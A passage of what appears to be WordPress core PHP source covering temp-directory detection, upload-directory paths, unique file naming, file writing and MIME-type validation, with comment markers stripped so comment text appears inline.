WP_CONTENT_DIR, * before finally defaulting to /tmp/ * * In the event that this function does not find a writable location, * It may be overridden by the WP_TEMP_DIR constant in your wp-config.php file. * * @since 2.5.0 * * @return string Writable temporary directory. function get_temp_dir() { static $temp = ''; if ( defined( 'WP_TEMP_DIR' ) ) { return trailingslashit( WP_TEMP_DIR ); } if ( $temp ) { return trailingslashit( $temp ); } if ( function_exists( 'sys_get_temp_dir' ) ) { $temp = sys_get_temp_dir(); if ( @is_dir( $temp ) && wp_is_writable( $temp ) ) { return trailingslashit( $temp ); } } $temp = ini_get( 'upload_tmp_dir' ); if ( @is_dir( $temp ) && wp_is_writable( $temp ) ) { return trailingslashit( $temp ); } $temp = WP_CONTENT_DIR . '/'; if ( is_dir( $temp ) && wp_is_writable( $temp ) ) { return $temp; } return '/tmp/'; } * * Determines if a directory is writable. * * This function is used to work around certain ACL issues in PHP primarily * affecting Windows Servers. * * @since 3.6.0 * * @see win_is_writable() * * @param string $path Path to check for write-ability. * @return bool Whether the path is writable. function wp_is_writable( $path ) { if ( 'WIN' === strtoupper( substr( PHP_OS, 0, 3 ) ) ) { return win_is_writable( $path ); } else { return @is_writable( $path ); } } * * Workaround for Windows bug in is_writable() function * * PHP has issues with Windows ACL's for determine if a * directory is writable or not, this works around them by * checking the ability to open files rather than relying * upon PHP to interprate the OS ACL. * * @since 2.8.0 * * @see https:bugs.php.net/bug.php?id=27609 * @see https:bugs.php.net/bug.php?id=30931 * * @param string $path Windows path to check for write-ability. * @return bool Whether the path is writable. function win_is_writable( $path ) { if ( '/' === $path[ strlen( $path ) - 1 ] ) { If it looks like a directory, check a random file within the directory. return win_is_writable( $path . uniqid( mt_rand() ) . '.tmp' ); } elseif ( is_dir( $path ) ) { If it's a directory (and not a file), check a random file within the directory. return win_is_writable( $path . '/' . uniqid( mt_rand() ) . '.tmp' ); } Check tmp file for read/write capabilities. $should_delete_tmp_file = ! file_exists( $path ); $f = @fopen( $path, 'a' ); if ( false === $f ) { return false; } fclose( $f ); if ( $should_delete_tmp_file ) { unlink( $path ); } return true; } * * Retrieves uploads directory information. * * Same as wp_upload_dir() but "light weight" as it doesn't attempt to create the uploads directory. * Intended for use in themes, when only 'basedir' and 'baseurl' are needed, generally in all cases * when not uploading files. * * @since 4.5.0 * * @see wp_upload_dir() * * @return array See wp_upload_dir() for description. function wp_get_upload_dir() { return wp_upload_dir( null, false ); } * * Returns an array containing the current upload directory's path and URL. * * Checks the 'upload_path' option, which should be from the web root folder, * and if it isn't empty it will be used. If it is empty, then the path will be * 'WP_CONTENT_DIR/uploads'. If the 'UPLOADS' constant is defined, then it will * override the 'upload_path' option and 'WP_CONTENT_DIR/uploads' path. * * The upload URL path is set either by the 'upload_url_path' option or by using * the 'WP_CONTENT_URL' constant and appending '/uploads' to the path. * * If the 'uploads_use_yearmonth_folders' is set to true (checkbox if checked in * the administration settings panel), then the time will be used. The format * will be year first and then month. * * If the path couldn't be created, then an error will be returned with the key * 'error' containing the error message. The error suggests that the parent * directory is not writable by the server. * * @since 2.0.0 * @uses _wp_upload_dir() * * @param string $time Optional. Time formatted in 'yyyy/mm'. Default null. * @param bool $create_dir Optional. Whether to check and create the uploads directory. * Default true for backward compatibility. * @param bool $refresh_cache Optional. Whether to refresh the cache. Default false. * @return array { * Array of information about the upload directory. * * @type string $path Base directory and subdirectory or full path to upload directory. * @type string $url Base URL and subdirectory or absolute URL to upload directory. * @type string $subdir Subdirectory if uploads use year/month folders option is on. * @type string $basedir Path without subdir. * @type string $baseurl URL path without subdir. * @type string|false $error False or error message. * } function wp_upload_dir( $time = null, $create_dir = true, $refresh_cache = false ) { static $cache = array(), $tested_paths = array(); $key = sprintf( '%d-%s', get_current_blog_id(), (string) $time ); if ( $refresh_cache || empty( $cache[ $key ] ) ) { $cache[ $key ] = _wp_upload_dir( $time ); } * * Filters the uploads directory data. * * @since 2.0.0 * * @param array $uploads { * Array of information about the upload directory. * * @type string $path Base directory and subdirectory or full path to upload directory. * @type string $url Base URL and subdirectory or absolute URL to upload directory. * @type string $subdir Subdirectory if uploads use year/month folders option is on. * @type string $basedir Path without subdir. * @type string $baseurl URL path without subdir. * @type string|false $error False or error message. * } $uploads = apply_filters( 'upload_dir', $cache[ $key ] ); if ( $create_dir ) { $path = $uploads['path']; if ( array_key_exists( $path, $tested_paths ) ) { $uploads['error'] = $tested_paths[ $path ]; } else { if ( ! wp_mkdir_p( $path ) ) { if ( 0 === strpos( $uploads['basedir'], ABSPATH ) ) { $error_path = str_replace( ABSPATH, '', $uploads['basedir'] ) . $uploads['subdir']; } else { $error_path = wp_basename( $uploads['basedir'] ) . $uploads['subdir']; } $uploads['error'] = sprintf( translators: %s: Directory path. __( 'Unable to create directory %s. Is its parent directory writable by the server?' ), esc_html( $error_path ) ); } $tested_paths[ $path ] = $uploads['error']; } } return $uploads; } * * A non-filtered, non-cached version of wp_upload_dir() that doesn't check the path. * * @since 4.5.0 * @access private * * @param string $time Optional. Time formatted in 'yyyy/mm'. Default null. * @return array See wp_upload_dir() function _wp_upload_dir( $time = null ) { $siteurl = get_option( 'siteurl' ); $upload_path = trim( get_option( 'upload_path' ) ); if ( empty( $upload_path ) || 'wp-content/uploads' === $upload_path ) { $dir = WP_CONTENT_DIR . '/uploads'; } elseif ( 0 !== strpos( $upload_path, ABSPATH ) ) { $dir is absolute, $upload_path is (maybe) relative to ABSPATH. $dir = path_join( ABSPATH, $upload_path ); } else { $dir = $upload_path; } $url = get_option( 'upload_url_path' ); if ( ! $url ) { if ( empty( $upload_path ) || ( 'wp-content/uploads' === $upload_path ) || ( $upload_path == $dir ) ) { $url = WP_CONTENT_URL . '/uploads'; } else { $url = trailingslashit( $siteurl ) . $upload_path; } } * Honor the value of UPLOADS. This happens as long as ms-files rewriting is disabled. * We also sometimes obey UPLOADS when rewriting is enabled -- see the next block. if ( defined( 'UPLOADS' ) && ! ( is_multisite() && get_site_option( 'ms_files_rewriting' ) ) ) { $dir = ABSPATH . UPLOADS; $url = trailingslashit( $siteurl ) . UPLOADS; } If multisite (and if not the main site in a post-MU network). if ( is_multisite() && ! ( is_main_network() && is_main_site() && defined( 'MULTISITE' ) ) ) { if ( ! get_site_option( 'ms_files_rewriting' ) ) { * If ms-files rewriting is disabled (networks created post-3.5), it is fairly * straightforward: Append sites/%d if we're not on the main site (for post-MU * networks). (The extra directory prevents a four-digit ID from conflicting with * a year-based directory for the main site. But if a MU-era network has disabled * ms-files rewriting manually, they don't need the extra directory, as they never * had wp-content/uploads for the main site.) if ( defined( 'MULTISITE' ) ) { $ms_dir = '/sites/' . get_current_blog_id(); } else { $ms_dir = '/' . get_current_blog_id(); } $dir .= $ms_dir; $url .= $ms_dir; } elseif ( defined( 'UPLOADS' ) && ! ms_is_switched() ) { * Handle the old-form ms-files.php rewriting if the network still has that enabled. * When ms-files rewriting is enabled, then we only listen to UPLOADS when: * 1) We are not on the main site in a post-MU network, as wp-content/uploads is used * there, and * 2) We are not switched, as ms_upload_constants() hardcodes these constants to reflect * the original blog ID. * * Rather than UPLOADS, we actually use BLOGUPLOADDIR if it is set, as it is absolute. * (And it will be set, see ms_upload_constants().) Otherwise, UPLOADS can be used, as * as it is relative to ABSPATH. For the final piece: when UPLOADS is used with ms-files * rewriting in multisite, the resulting URL is /files. (#WP22702 for background.) if ( defined( 'BLOGUPLOADDIR' ) ) { $dir = untrailingslashit( BLOGUPLOADDIR ); } else { $dir = ABSPATH . UPLOADS; } $url = trailingslashit( $siteurl ) . 'files'; } } $basedir = $dir; $baseurl = $url; $subdir = ''; if ( get_option( 'uploads_use_yearmonth_folders' ) ) { Generate the yearly and monthly directories. if ( ! $time ) { $time = current_time( 'mysql' ); } $y = substr( $time, 0, 4 ); $m = substr( $time, 5, 2 ); $subdir = "/$y/$m"; } $dir .= $subdir; $url .= $subdir; return array( 'path' => $dir, 'url' => $url, 'subdir' => $subdir, 'basedir' => $basedir, 'baseurl' => $baseurl, 'error' => false, ); } * * Gets a filename that is sanitized and unique for the given directory. * * If the filename is not unique, then a number will be added to the filename * before the extension, and will continue adding numbers until the filename * is unique. * * The callback function allows the caller to use their own method to create * unique file names. If defined, the callback should take three arguments: * - directory, base filename, and extension - and return a unique filename. * * @since 2.5.0 * * @param string $dir Directory. * @param string $filename File name. * @param callable $unique_filename_callback Callback. Default null. * @return string New filename, if given wasn't unique. function wp_unique_filename( $dir, $filename, $unique_filename_callback = null ) { Sanitize the file name before we begin processing. $filename = sanitize_file_name( $filename ); $ext2 = null; Initialize vars used in the wp_unique_filename filter. $number = ''; $alt_filenames = array(); Separate the filename into a name and extension. $ext = pathinfo( $filename, PATHINFO_EXTENSION ); $name = pathinfo( $filename, PATHINFO_BASENAME ); if ( $ext ) { $ext = '.' . $ext; } Edge case: if file is named '.ext', treat as an empty name. if ( $name === $ext ) { $name = ''; } * Increment the file number until we have a unique file to save in $dir. * Use callback if supplied. if ( $unique_filename_callback && is_callable( $unique_filename_callback ) ) { $filename = call_user_func( $unique_filename_callback, $dir, $name, $ext ); } else { $fname = pathinfo( $filename, PATHINFO_FILENAME ); Always append a number to file names that can potentially match image sub-size file names. if ( $fname && preg_match( '/-(?:\d+x\d+|scaled|rotated)$/', $fname ) ) { $number = 1; At this point the file name may not be unique. This is tested below and the $number is incremented. $filename = str_replace( "{$fname}{$ext}", "{$fname}-{$number}{$ext}", $filename ); } * Get the mime type. Uploaded files were already checked with wp_check_filetype_and_ext() * in _wp_handle_upload(). Using wp_check_filetype() would be sufficient here. $file_type = wp_check_filetype( $filename ); $mime_type = $file_type['type']; $is_image = ( ! empty( $mime_type ) && 0 === strpos( $mime_type, 'image/' ) ); $upload_dir = wp_get_upload_dir(); $lc_filename = null; $lc_ext = strtolower( $ext ); $_dir = trailingslashit( $dir ); * If the extension is uppercase add an alternate file name with lowercase extension. * Both need to be tested for uniqueness as the extension will be changed to lowercase * for better compatibility with different filesystems. Fixes an inconsistency in WP < 2.9 * where uppercase extensions were allowed but image sub-sizes were created with * lowercase extensions. if ( $ext && $lc_ext !== $ext ) { $lc_filename = preg_replace( '|' . preg_quote( $ext ) . '$|', $lc_ext, $filename ); } * Increment the number added to the file name if there are any files in $dir * whose names match one of the possible name variations. while ( file_exists( $_dir . $filename ) || ( $lc_filename && file_exists( $_dir . $lc_filename ) ) ) { $new_number = (int) $number + 1; if ( $lc_filename ) { $lc_filename = str_replace( array( "-{$number}{$lc_ext}", "{$number}{$lc_ext}" ), "-{$new_number}{$lc_ext}", $lc_filename ); } if ( '' === "{$number}{$ext}" ) { $filename = "{$filename}-{$new_number}"; } else { $filename = str_replace( array( "-{$number}{$ext}", "{$number}{$ext}" ), "-{$new_number}{$ext}", $filename ); } $number = $new_number; } Change the extension to lowercase if needed. if ( $lc_filename ) { $filename = $lc_filename; } * Prevent collisions with existing file names that contain dimension-like strings * (whether they are subsizes or originals uploaded prior to #42437). $files = array(); $count = 10000; The (resized) image files would have name and extension, and will be in the uploads dir. if ( $name && $ext && @is_dir( $dir ) && false !== strpos( $dir, $upload_dir['basedir'] ) ) { * * Filters the file list used for calculating a unique filename for a newly added file. * * Returning an array from the filter will effectively short-circuit retrieval * from the filesystem and return the passed value instead. * * @since 5.5.0 * * @param array|null $files The list of files to use for filename comparisons. * Default null (to retrieve the list from the filesystem). * @param string $dir The directory for the new file. * @param string $filename The proposed filename for the new file. $files = apply_filters( 'pre_wp_unique_filename_file_list', null, $dir, $filename ); if ( null === $files ) { List of all files and directories contained in $dir. $files = @scandir( $dir ); } if ( ! empty( $files ) ) { Remove "dot" dirs. $files = array_diff( $files, array( '.', '..' ) ); } if ( ! empty( $files ) ) { $count = count( $files ); * Ensure this never goes into infinite loop as it uses pathinfo() and regex in the check, * but string replacement for the changes. $i = 0; while ( $i <= $count && _wp_check_existing_file_names( $filename, $files ) ) { $new_number = (int) $number + 1; If $ext is uppercase it was replaced with the lowercase version after the previous loop. $filename = str_replace( array( "-{$number}{$lc_ext}", "{$number}{$lc_ext}" ), "-{$new_number}{$lc_ext}", $filename ); $number = $new_number; $i++; } } } * Check if an image will be converted after uploading or some existing image sub-size file names may conflict * when regenerated. If yes, ensure the new file name will be unique and will produce unique sub-sizes. if ( $is_image ) { * This filter is documented in wp-includes/class-wp-image-editor.php $output_formats = apply_filters( 'image_editor_output_format', array(), $_dir . $filename, $mime_type ); $alt_types = array(); if ( ! empty( $output_formats[ $mime_type ] ) ) { The image will be converted to this format/mime type. $alt_mime_type = $output_formats[ $mime_type ]; Other types of images whose names may conflict if their sub-sizes are regenerated. $alt_types = array_keys( array_intersect( $output_formats, array( $mime_type, $alt_mime_type ) ) ); $alt_types[] = $alt_mime_type; } elseif ( ! empty( $output_formats ) ) { $alt_types = array_keys( array_intersect( $output_formats, array( $mime_type ) ) ); } Remove duplicates and the original mime type. It will be added later if needed. $alt_types = array_unique( array_diff( $alt_types, array( $mime_type ) ) ); foreach ( $alt_types as $alt_type ) { $alt_ext = wp_get_default_extension_for_mime_type( $alt_type ); if ( ! $alt_ext ) { continue; } $alt_ext = ".{$alt_ext}"; $alt_filename = preg_replace( '|' . preg_quote( $lc_ext ) . '$|', $alt_ext, $filename ); $alt_filenames[ $alt_ext ] = $alt_filename; } if ( ! empty( $alt_filenames ) ) { * Add the original filename. It needs to be checked again * together with the alternate filenames when $number is incremented. $alt_filenames[ $lc_ext ] = $filename; Ensure no infinite loop. $i = 0; while ( $i <= $count && _wp_check_alternate_file_names( $alt_filenames, $_dir, $files ) ) { $new_number = (int) $number + 1; foreach ( $alt_filenames as $alt_ext => $alt_filename ) { $alt_filenames[ $alt_ext ] = str_replace( array( "-{$number}{$alt_ext}", "{$number}{$alt_ext}" ), "-{$new_number}{$alt_ext}", $alt_filename ); } * Also update the $number in (the output) $filename. * If the extension was uppercase it was already replaced with the lowercase version. $filename = str_replace( array( "-{$number}{$lc_ext}", "{$number}{$lc_ext}" ), "-{$new_number}{$lc_ext}", $filename ); $number = $new_number; $i++; } } } } * * Filters the result when generating a unique file name. * * @since 4.5.0 * @since 5.8.1 The `$alt_filenames` and `$number` parameters were added. * * @param string $filename Unique file name. * @param string $ext File extension. Example: ".png". * @param string $dir Directory path. * @param callable|null $unique_filename_callback Callback function that generates the unique file name. * @param string[] $alt_filenames Array of alternate file names that were checked for collisions. * @param int|string $number The highest number that was used to make the file name unique * or an empty string if unused. return apply_filters( 'wp_unique_filename', $filename, $ext, $dir, $unique_filename_callback, $alt_filenames, $number ); } * * Helper function to test if each of an array of file names could conflict with existing files. * * @since 5.8.1 * @access private * * @param string[] $filenames Array of file names to check. * @param string $dir The directory containing the files. * @param array $files An array of existing files in the directory. May be empty. * @return bool True if the tested file name could match an existing file, false otherwise. function _wp_check_alternate_file_names( $filenames, $dir, $files ) { foreach ( $filenames as $filename ) { if ( file_exists( $dir . $filename ) ) { return true; } if ( ! empty( $files ) && _wp_check_existing_file_names( $filename, $files ) ) { return true; } } return false; } * * Helper function to check if a file name could match an existing image sub-size file name. * * @since 5.3.1 * @access private * * @param string $filename The file name to check. * @param array $files An array of existing files in the directory. * @return bool True if the tested file name could match an existing file, false otherwise. function _wp_check_existing_file_names( $filename, $files ) { $fname = pathinfo( $filename, PATHINFO_FILENAME ); $ext = pathinfo( $filename, PATHINFO_EXTENSION ); Edge case, file names like `.ext`. if ( empty( $fname ) ) { return false; } if ( $ext ) { $ext = ".$ext"; } $regex = '/^' . preg_quote( $fname ) . '-(?:\d+x\d+|scaled|rotated)' . preg_quote( $ext ) . '$/i'; foreach ( $files as $file ) { if ( preg_match( $regex, $file ) ) { return true; } } return false; } * * Creates a file in the upload folder with given content. * * If there is an error, then the key 'error' will exist with the error message. * If success, then the key 'file' will have the unique file path, the 'url' key * will have the link to the new file. and the 'error' key will be set to false. * * This function will not move an uploaded file to the upload folder. It will * create a new file with the content in $bits parameter. If you move the upload * file, read the content of the uploaded file, and then you can give the * filename and content to this function, which will add it to the upload * folder. * * The permissions will be set on the new file automatically by this function. * * @since 2.0.0 * * @param string $name Filename. * @param null|string $deprecated Never used. Set to null. * @param string $bits File content * @param string $time Optional. Time formatted in 'yyyy/mm'. Default null. * @return array { * Information about the newly-uploaded file. * * @type string $file Filename of the newly-uploaded file. * @type string $url URL of the uploaded file. * @type string $type File type. * @type string|false $error Error message, if there has been an error. * } function wp_upload_bits( $name, $deprecated, $bits, $time = null ) { if ( ! empty( $deprecated ) ) { _deprecated_argument( __FUNCTION__, '2.0.0' ); } if ( empty( $name ) ) { return array( 'error' => __( 'Empty filename' ) ); } $wp_filetype = wp_check_filetype( $name ); if ( ! $wp_filetype['ext'] && ! current_user_can( 'unfiltered_upload' ) ) { return array( 'error' => __( 'Sorry, you are not allowed to upload this file type.' ) ); } $upload = wp_upload_dir( $time ); if ( false !== $upload['error'] ) { return $upload; } * * Filters whether to treat the upload bits as an error. * * Returning a non-array from the filter will effectively short-circuit preparing the upload bits * and return that value instead. An error message should be returned as a string. * * @since 3.0.0 * * @param array|string $upload_bits_error An array of upload bits data, or error message to return. $upload_bits_error = apply_filters( 'wp_upload_bits', array( 'name' => $name, 'bits' => $bits, 'time' => $time, ) ); if ( ! is_array( $upload_bits_error ) ) { $upload['error'] = $upload_bits_error; return $upload; } $filename = wp_unique_filename( $upload['path'], $name ); $new_file = $upload['path'] . "/$filename"; if ( ! wp_mkdir_p( dirname( $new_file ) ) ) { if ( 0 === strpos( $upload['basedir'], ABSPATH ) ) { $error_path = str_replace( ABSPATH, '', $upload['basedir'] ) . $upload['subdir']; } else { $error_path = wp_basename( $upload['basedir'] ) . $upload['subdir']; } $message = sprintf( translators: %s: Directory path. __( 'Unable to create directory %s. Is its parent directory writable by the server?' ), $error_path ); return array( 'error' => $message ); } $ifp = @fopen( $new_file, 'wb' ); if ( ! $ifp ) { return array( translators: %s: File name. 'error' => sprintf( __( 'Could not write file %s' ), $new_file ), ); } fwrite( $ifp, $bits ); fclose( $ifp ); clearstatcache(); Set correct file permissions. $stat = @ stat( dirname( $new_file ) ); $perms = $stat['mode'] & 0007777; $perms = $perms & 0000666; chmod( $new_file, $perms ); clearstatcache(); Compute the URL. $url = $upload['url'] . "/$filename"; if ( is_multisite() ) { clean_dirsize_cache( $new_file ); } * This filter is documented in wp-admin/includes/file.php return apply_filters( 'wp_handle_upload', array( 'file' => $new_file, 'url' => $url, 'type' => $wp_filetype['type'], 'error' => false, ), 'sideload' ); } * * Retrieves the file type based on the extension name. * * @since 2.5.0 * * @param string $ext The extension to search. * @return string|void The file type, example: audio, video, document, spreadsheet, etc. function wp_ext2type( $ext ) { $ext = strtolower( $ext ); $ext2type = wp_get_ext_types(); foreach ( $ext2type as $type => $exts ) { if ( in_array( $ext, $exts, true ) ) { return $type; } } } * * Returns first matched extension for the mime-type, * as mapped from wp_get_mime_types(). * * @since 5.8.1 * * @param string $mime_type * * @return string|false function wp_get_default_extension_for_mime_type( $mime_type ) { $extensions = explode( '|', array_search( $mime_type, wp_get_mime_types(), true ) ); if ( empty( $extensions[0] ) ) { return false; } return $extensions[0]; } * * Retrieves the file type from the file name. * * You can optionally define the mime array, if needed. * * @since 2.0.4 * * @param string $filename File name or path. * @param string[] $mimes Optional. Array of allowed mime types keyed by their file extension regex. * Defaults to the result of get_allowed_mime_types(). * @return array { * Values for the extension and mime type. * * @type string|false $ext File extension, or false if the file doesn't match a mime type. * @type string|false $type File mime type, or false if the file doesn't match a mime type. * } function wp_check_filetype( $filename, $mimes = null ) { if ( empty( $mimes ) ) { $mimes = get_allowed_mime_types(); } $type = false; $ext = false; foreach ( $mimes as $ext_preg => $mime_match ) { $ext_preg = '!\.(' . $ext_preg . ')$!i'; if ( preg_match( $ext_preg, $filename, $ext_matches ) ) { $type = $mime_match; $ext = $ext_matches[1]; break; } } return compact( 'ext', 'type' ); } * * Attempts to determine the real file type of a file. * * If unable to, the file name extension will be used to determine type. * * If it's determined that the extension does not match the file's real type, * then the "proper_filename" value will be set with a proper filename and extension. * * Currently this function only supports renaming images validated via wp_get_image_mime(). * * @since 3.0.0 * * @param string $file Full path to the file. * @param string $filename The name of the file (may differ from $file due to $file being * in a tmp directory). * @param string[] $mimes Optional. Array of allowed mime types keyed by their file extension regex. * Defaults to the result of get_allowed_mime_types(). * @return array { * Values for the extension, mime type, and corrected filename. * * @type string|false $ext File extension, or false if the file doesn't match a mime type. * @type string|false $type File mime type, or false if the file doesn't match a mime type. * @type string|false $proper_filename File name with its correct extension, or false if it cannot be determined. * } function wp_check_filetype_and_ext( $file, $filename, $mimes = null ) { $proper_filename = false; Do basic extension validation and MIME mapping. $wp_filetype = wp_check_filetype( $filename, $mimes ); $ext = $wp_filetype['ext']; $type = $wp_filetype['type']; We can't do any further validation without a file to work with. if ( ! file_exists( $file ) ) { return compact( 'ext', 'type', 'proper_filename' ); } $real_mime = false; Validate image types. if ( $type && 0 === strpos( $type, 'image/' ) ) { Attempt to figure out what type of image it actually is. $real_mime = wp_get_image_mime( $file ); if ( $real_mime && $real_mime != $type ) { * * Filters the list mapping image mime types to their respective extensions. * * @since 3.0.0 * * @param array $mime_to_ext Array of image mime types and their matching extensions. $mime_to_ext = apply_filters( 'getimagesize_mimes_to_exts', array( 'image/jpeg' => 'jpg', 'image/png' => 'png', 'image/gif' => 'gif', 'image/bmp' => 'bmp', 'image/tiff' => 'tif', 'image/webp' => 'webp', ) ); Replace whatever is after the last period in the filename with the correct extension. if ( ! empty( $mime_to_ext[ $real_mime ] ) ) { $filename_parts = explode( '.', $filename ); array_pop( $filename_parts ); $filename_parts[] = $mime_to_ext[ $real_mime ]; $new_filename = implode( '.', $filename_parts ); if ( $new_filename != $filename ) { $proper_filename = $new_filename; Mark that it changed. } Redefine the extension / MIME. $wp_filetype = wp_check_filetype( $new_filename, $mimes ); $ext = $wp_filetype['ext']; $type = $wp_filetype['type']; } else { Reset $real_mime and try validating again. $real_mime = false; } } } Validate files that didn't get validated during previous checks. if ( $type && ! $real_mime && extension_loaded( 'fileinfo' ) ) { $finfo = finfo_open( FILEINFO_MIME_TYPE ); $real_mime = finfo_file( $finfo, $file ); finfo_close( $finfo ); fileinfo often misidentifies obscure files as one of these types. $nonspecific_types = array( 'application/octet-stream', 'application/encrypted', 'application/CDFV2-encrypted', 'application/zip', ); * If $real_mime doesn't match the content type we're expecting from the file's extension, * we need to do some additional vetting. Media types and those listed in $nonspecific_types are * allowed some leeway, but anything else must exactly match the real content type. if ( in_array( $real_mime, $nonspecific_types, true ) ) { File is a non-specific binary type. That's ok if it's a type that generally tends to be binary. if ( ! in_array( substr( $type, 0, strcspn( $type, '/' ) ), array( 'application', 'video', 'audio' ), true ) ) { $type = false; $ext = false; } } elseif ( 0 === strpos( $real_mime, 'video/' ) || 0 === strpos( $real_mime, 'audio/' ) ) { * For these types, only the major type must match the real value. * This means that common mismatches are forgiven: application/vnd.apple.numbers is often misidentified as application/zip, * and some media files are commonly named with the wrong extension (.mov instead of .mp4) if ( substr( $real_mime, 0, strcspn( $real_mime, '/' ) ) !== substr( $type, 0, strcspn( $type, '/' ) ) ) { $type = false; $ext = false; } } elseif ( 'text/plain' === $real_mime ) { A few common file types are occasionally detected as text/plain; allow those. if ( ! in_array( $type, array( 'text/plain', 'text/csv', 'application/csv', 'text/richtext', 'text/tsv', 'text/vtt', ), true ) ) { $type = false; $ext = false; } } elseif ( 'application/csv' === $real_mime ) { Special casing for CSV files. if ( ! in_array( $type, array( 'text/csv', 'text/plain', 'application/csv', ), true ) ) { $type = false; $ext = false; } } elseif ( 'text/rtf' === $real_mime ) { Special casing for RTF files. if ( ! in_array( $type, array( 'text/rtf', 'text/plain', 'application/rtf', ), true ) ) { $type = false; $ext = false; } } else { if ( $type !== $real_mime ) { * Everything else including image and application: * If the real content type doesn't match the file extension, assume it's dangerous. $type = false; $ext = false; } } } The mime type must be allowed. if ( $type ) { $allowed = get_allowed_mime_types(); if ( ! in_array( $type, $allowed, true ) ) { $type = false; $ext = false; } } * * Filters the "real" file type of the given file. * * @since 3.0.0 * @since 5.1.0 The $real_mime parameter was added. * * @param array $wp_check_filetype_and_ext { * Values for the extension, mime type, and corrected filename. * * @type string|false $ext File extension, or false if the file doesn't match a mime type. * @type string|false $type File mime type, or false if the file doesn't match a mime type. * @type string|false $proper_filename File name with its correct extension, or false if it cannot be determined. * } * @param string $file Full path to the file. * @param string $filename The name of the file (may differ from $file due to * $file being in a tmp directory). * @param string[] $mimes Array of mime types keyed by their file extension regex. * @param string|false $real_mime The actual mime type or false if the type cannot be determined. return apply_filters( 'wp_check_filetype_and_ext', compact( 'ext', 'type', 'proper_filename' ), $file, $filename, $mimes, $real_mime ); } * * Returns the real mime type of an image file. * * This depends on exif_imagetype() or getimagesize() to determine real mime types. * * @since 4.7.1 * @since 5.8.0 Added support for WebP images. * * @param string $file Full path to the file. * @return string|false The actual mime type or false if the type cannot be determined. function wp_get_image_mime( $file ) { * Use exif_imagetype() to check the mimetype if available or fall back to * getimagesize() if exif isn't available. If either function throws an Exception * we assume the file could not be validated. try { if ( is_callable( 'exif_imagetype' ) ) { $imagetype = exif_imagetype( $file ); $mime = ( $imagetype ) ? image_type_to_mime_type( $imagetype ) : false; } elseif ( function_exists( 'getimagesize' ) ) { Don't silence errors when in debug mode, unless running unit tests. if ( defined( 'WP_DEBUG' ) && WP_DEBUG && ! defined( 'WP_RUN_CORE_TESTS' ) ) { Not using wp_getimagesize() here to avoid an infinite loop. $imagesize = getimagesize( $file ); } else { phpcs:ignore WordPress.PHP.NoSilencedErrors $imagesize = @getimagesize( $file ); } $mime = ( isset( $imagesize['mime'] ) ) ? $imagesize['mime'] : false; } else { $mime = false; } if ( false !== $mime ) { return $mime; } $magic = file_get_contents( $file, false, null, 0, 12 ); if ( false === $magic ) { return false; } * Add WebP fallback detection when image library doesn't support WebP. * Note: detection values come from LibWebP, see * https:github.com/webmproject/libwebp/blob/master/imageio/image_dec.c#L30 $magic = bin2hex( $magic ); if ( RIFF. ( 0 === strpos( $magic, '52494646' ) ) && WEBP. ( 16 === strpos( $magic, '57454250' ) ) ) { $mime = 'image/webp'; } } catch ( Exception $e ) { $mime = false; } return $mime; } * * Retrieves the list of mime types and file extensions. * * @since 3.5.0 * @since 4.2.0 Support was added for GIMP (.xcf) files. * @since 4.9.2 Support was added for Flac (.flac) files. * @since 4.9.6 Support was added for AAC (.aac) files. * * @return string[] Array of mime types keyed by the file extension regex corresponding to those types. function wp_get_mime_types() { * * Filters the list of mime types and file extensions. * * This filter should be used to add, not remove, mime types. To remove * mime types, use the {@see 'upload_mimes'} filter. * * @since 3.5.0 * * @param string[] $wp_get_mime_types Mime types keyed by the file extension regex * corresponding to those types. return apply_filters( 'mime_types', array( Image formats. 'jpg|jpeg|jpe' => 'image/jpeg', 'gif' => 'image/gif', 'png' => 'image/png', 'bmp' => 'image/bmp', 'tiff|tif' => 'image/tiff', 'webp' => 'image/webp', 'ico' => 'image/x-icon', 'heic' => 'image/heic', Video formats. 'asf|asx' => 'video/x-ms-asf', 'wmv' => 'video/x-ms-wmv', 'wmx' => 'video/x-ms-wmx', 'wm' => 'video/x-ms-wm', 'avi' => 'video/avi', 'divx' => 'video/divx', 'flv' => 'video/x-flv', 'mov|qt' => 'video/quicktime', 'mpeg|mpg|mpe' => 'video/mpeg', 'mp4|m4v' => 'video/mp4', 'ogv' => 'video/ogg', 'webm' => 'video/webm', 'mkv' => 'video/x-matroska', '3gp|3gpp' => 'video/3gpp', Can also be audio. '3g2|3gp2' => 'video/3gpp2', Can also be audio. Text formats. 'txt|asc|c|cc|h|srt' => 'text/plain', 'csv' => 'text/csv', 'tsv' => 'text/tab-separated-values', 'ics' => 'text/calendar', 'rtx' => 'text/richtext', 'css' => 'text/css', 'htm|html' => 'text/html', 'vtt' => 'text/vtt', 'dfxp' => 'application/ttaf+xml', Audio formats. 'mp3|m4a|m4b' => 'audio/mpeg', 'aac' => 'audio/aac', 'ra|ram' => 'audio/x-realaudio', 'wav' => 'audio/wav', 'ogg|oga' => 'audio/ogg', 'flac' => 'audio/flac', 'mid|midi' => 'audio/midi', 'wma' => 'audio/x-ms-wma', 'wax' => 'audio/x-ms-wax', 'mka' => 'audio/x-matroska', Misc application formats. 'rtf' => 'application/rtf', 'js' => 'application/javascript', 'pdf' => 'application/pdf', 'swf' => 'application/x-shockwave-flash', 'class' => 'application/java', 'tar' => 'application/x-tar', 'zip' => 'application/zip', 'gz|gzip' => 'application/x-gzip', 'rar' => 'application/rar', '7z' => 'application/x-7z-compressed', 'exe' => 'application/x-msdownload', 'psd' => 'application/octet-stream', 'xcf' => 'application/octet-stream', MS Office formats. 'doc' => 'application/msword', 'pot|pps|ppt' => 'application/vnd.ms-powerpoint', 'wri' => 'application/vnd.ms-write', 'xla|xls|xlt|xlw' => 'application/vnd.ms-excel', 'mdb' => 'application/vnd.ms-access', 'mpp' => 'application/vnd.ms-project', 'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', 'docm' => 'application/vnd.ms-word.document.macroEnabled.12', 'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template', 'dotm' => 'application/vnd.ms-word.template.macroEnabled.12', 'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', 'xlsm' => 'application/vnd.ms-excel.sheet.macroEnabled.12', 'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12', 'xltx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template', 'xltm' => 'application/vnd.ms-excel.template.macroEnabled.12', 'xlam' => 'application/vnd.ms-excel.addin.macroEnabled.12', 'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation', 'pptm' => 'application/vnd.ms-powerpoint.presentation.macroEnabled.12', 'ppsx' => 